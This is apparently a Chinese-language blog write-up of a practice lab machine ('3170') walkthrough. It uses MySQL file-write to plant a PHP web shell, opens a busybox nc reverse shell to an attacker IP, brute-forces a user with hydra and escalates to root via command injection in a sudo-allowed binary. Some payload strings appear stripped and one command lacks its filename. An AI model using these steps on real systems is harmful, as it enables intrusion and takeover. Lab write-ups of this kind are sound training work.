3170靶机复盘

一.端口扫描

开放了22,80,3306端口。

二.漏洞测试与利用:

2.1.Web测试:

在web界面没有找到可以用的信息,做了个目录扫描,找到了个目录: http://192.168.226.70/temp/ 现在还没有什么作用,继续往下找漏洞利用点。

2.2.数据库测试:

远程连接一下数据库,但服务器不支持 SSL 连接(mysql进行连接的时候,默认是会使用 SSL 进行连接的)

使用–skip-ssl参数(作用:不要尝试使用 SSL 连接数据库)

mysql –skip-ssl -h 192.168.226.70 -uroot -p

查看数据库中名为 secure_file_priv 的系统变量的值:

SHOW VARIABLES LIKE ‘secure_file_priv’;

如果值为 NULL,表示限制 LOAD DATA、SELECT … INTO OUTFILE 和 LOAD_FILE() 等文件操作功能,即不允许进行这些文件相关操作。

  • 如果值为一个具体目录路径(如 /var/lib/mysql-files/ ),则表示仅允许在这个指定目录下执行相关文件操作。
  • 如果为空字符串 ‘’ ,则表示没有限制,可在任意目录进行相关文件操作。

secure_file_priv是空字符串,说明我们可以在任意目录进行相关文件操作。

三.提权:

3.1.数据库内容任意读取(方法一):

select load_file(‘’):

load_file() 是一个用于读取服务器文件系统上文件内容的函数。

发现有个a7用户,可以使用hydra工具对其进行密码爆破,找了密码,但是这里有个坑,就是在查看.bash_history会涉及权限的问题,只能拿到user的flag,拿不了root的flag。

3.2数据库内容任意写入(方法二):

思路,猜测在web上扫描的temp目录是可以进行写入的(一般temp目录里普通用户也是可以有写入的权限的)

HackTricks - HackTricks中查找mysql写入的sql语句

找到写入语句,在进行改造:

select 1,2,”“,4 into OUTFILE ‘/var/www/html/temp/hack.php’;

写入成功:

进行利用:但是没回显,有可能服务器过滤了shell_exec的命令执行函数,换一个函数进行尝试

select 1,2,”“,4 into OUTFILE ‘/var/www/html/temp/hack1.php’;

利用成功,反弹shell

http://192.168.226.70/temp/hack1.php?c=busybox nc 192.168.226.222 4444 -e /bin/bash

拿到了user的flag

在/var/www的目录下查看历史命令,找到了welcome的密码

使用sudo -l 的方式:查看到了suForce的文件,可以使用它进行提权

  • 使用权限:用户 welcome 可在主机 3170 上免密码(NOPASSWD )以 sudo 方式运行 /opt/suForce
  • 使用方式:运行格式为 ./suForce -u <USER> -w <WORDLIST> ,其中 -u 用于指定目标用户,-w 用于指定包含密码的字典文件,它可能通过尝试字典中的密码来获取指定用户的权限,从而实现提权等操作。

得到root的flag:

获取root的密码:

补充:

还可以查看查看suForce文件:是一个命令拼接,可以进行一些命令注入

echo ‘chmod +s /bin/bash’ > /tmp/

chmod +x /tmp/a

sudo /opt/suForce -u ‘$(/tmp/a)’ -w /root/root.txt


3170靶机复盘
http://example.com/2025/05/21/3170靶机复盘/
作者
XCDH
发布于
2025年5月21日
许可协议